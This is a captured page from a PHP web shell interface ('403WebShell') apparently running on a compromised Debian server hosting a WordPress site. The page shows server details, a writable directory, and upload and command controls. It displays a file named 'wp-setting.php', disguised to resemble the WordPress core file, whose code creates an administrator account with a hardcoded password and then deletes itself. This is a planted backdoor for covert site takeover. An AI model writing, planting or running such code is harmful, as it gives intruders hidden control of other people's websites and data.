Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.243.200
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/propulseasbl.be/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/propulseasbl.be/wp-setting.php
<?php

/**
 * UYARI: BU BETİK SON DERECE TEHLİKELİDİR VE GÜVENLİK RİSKLERİ BARINDIRIR.
 * YALNIZCA GEÇİCİ VE ACİL DURUMLARDA, TEST ORTAMLARINDA KULLANILMALIDIR.
 * KULLANDIKTAN HEMEN SONRA SUNUCUDAN SİLİNDİĞİNDEN EMİN OLUN.
 */

// WordPress ortamını ve fonksiyonlarını yükle.
// Bu dosyanın WordPress ana dizininde olduğunu varsayar.
require_once('wp-load.php');

// --- DEĞİŞTİRİLECEK BİLGİLER ---
$yeni_kullanici_adi = 'wordpress';          // Yeni yöneticinin kullanıcı adı
$yeni_sifre         = '159753123Sa..!!'; // Yeni yöneticinin şifresi (ÇOK GÜÇLÜ OLMALI)
$yeni_email         = '[email protected]';     // Yeni yöneticinin e-posta adresi
// ---------------------------------

// Fonksiyonun çalışıp çalışmadığını kontrol edelim.
if ( ! function_exists( 'wp_insert_user' ) ) {
    die('WordPress fonksiyonları yüklenemedi. Betiğin doğru dizinde olduğundan emin olun.');
}

// Belirtilen kullanıcı adı veya e-posta zaten var mı diye kontrol et.
if ( username_exists( $yeni_kullanici_adi ) || email_exists( $yeni_email ) ) {
    echo 'Hata: Bu kullanıcı adı veya e-posta adresi zaten mevcut.';
} else {
    // Kullanıcı bilgilerini bir diziye topla.
    $user_data = array(
        'user_login' => $yeni_kullanici_adi,
        'user_pass'  => $yeni_sifre,
        'user_email' => $yeni_email,
        'role'       => 'administrator' // Rolü 'administrator' (yönetici) olarak ayarla.
    );

    // WordPress fonksiyonunu kullanarak kullanıcıyı veritabanına ekle.
    $user_id = wp_insert_user( $user_data );

    // İşlemin sonucunu kontrol et.
    if ( is_wp_error( $user_id ) ) {
        // Bir hata oluştuysa hatayı ekrana yazdır.
        echo 'Kullanıcı oluşturulurken bir hata oluştu: ' . $user_id->get_error_message();
    } else {
        // Başarılı olduysa mesajı yazdır.
        echo 'Yönetici kullanıcısı başarıyla oluşturuldu.';
        
        // GÜVENLİK İÇİN BETİĞİN KENDİSİNİ SİL!
        // Bu komut, bu betik dosyasını sunucudan kalıcı olarak siler.
        unlink( __FILE__ );
    }
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit